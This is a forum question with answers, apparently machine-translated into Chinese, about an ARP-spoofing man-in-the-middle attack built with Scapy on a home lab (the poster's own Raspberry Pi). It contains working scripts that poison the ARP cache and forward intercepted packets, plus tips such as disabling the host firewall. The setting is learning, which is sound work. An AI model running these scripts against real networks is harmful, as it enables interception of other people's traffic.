我刚刚用 scapy 学习 python。我阅读并使用了《Network Hacks - Intensivkurs - Angriff und Verteidigung mit Python》(德语)这本书。
我想尝试使用 arp 欺骗进行中间人攻击。 我有我的电脑、受害者(我的树莓派)和标准网关。
为了进行欺骗,我使用了书中的代码片段
#!/usr/bin/python
import sys
import time
from scapy.all import sniff, sendp, ARP, Ether
if len(sys.argv) < 3:
print sys.argv[0] + " <target> <spoof_ip>"
sys.exit(0)
iface = "wlan1"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]
ethernet = Ether()
arp = ARP(pdst=target_ip, psrc=fake_ip, op="is-at")
packet = ethernet / arp
while True:
sendp(packet, iface=iface)
time.sleep(10)
它有效,我的受害者将我的 Mac 显示为网关。 受害者发送带有正确 ip 的数据包,但带有我的 mac 地址。 现在受害者应该打开一个网站(wget http://example.com),我想使用 Wireshark 读取流量。但我必须重定向包(DNS 和 TCP/HTTP)。我用这段代码尝试过:
#!/etc/usr/python
from scapy.all import *
import sys
iface = "wlan1"
filter = "ip"
VICTIM_IP = "192.168.2.108"
MY_IP = "192.168.2.104"
GATEWAY_IP = "192.168.2.1"
VICTIM_MAC = "### don't want so show###"
MY_MAC = "### don't want so show###"
GATEWAY_MAC = "### don't want so show###"
def handle_packet(packet):
if (packet[IP].dst == GATEWAY_IP) and (packet[Ether].dst == MY_MAC):
packet[Ether].dst = GATEWAY_MAC
sendp(packet)
print "A packet from " + packet[IP].src + " redirected!"
sniff(prn=handle_packet, filter=filter, iface=iface, store=0)
Wireshark 显示包含正确数据的数据包(IP 源 = 受害者 IP、IP 目标 = 网关 IP、MAC 源 = 受害者 MAC、MAC 目标 = 网关 MAC)。 网关是一个 DSL 路由器,因此也是一个“DNS 服务器”。
但是我的 Raspberry 没有收到 DNS 响应。我有什么错?
您忠实的,
垫风暴
Scapy 不为您做的一件事是处理防火墙问题;在这种情况下,您最好关闭攻击主机上的主机防火墙。您正在制作的数据包没有使用通常的数据包路径。
此外,当您转发数据包时,您是否会转换源地址以便得到响应?我在代码中没有看到这一点...
检查假DNS服务器接口是否处于监听模式。我无法从您的代码中看出是否已完成,因此这只是一个快速提示。睡一觉后我会仔细观察,可以看得很清楚。当我上次进行欺骗时,我有 1 根以太网电缆,在路由器和无线局域网上的监控模式下连接互联网。如果我尝试没有它,就会显示一些想要的信息,但只是不正确,无法确定我做了什么来修复它。祝你好运。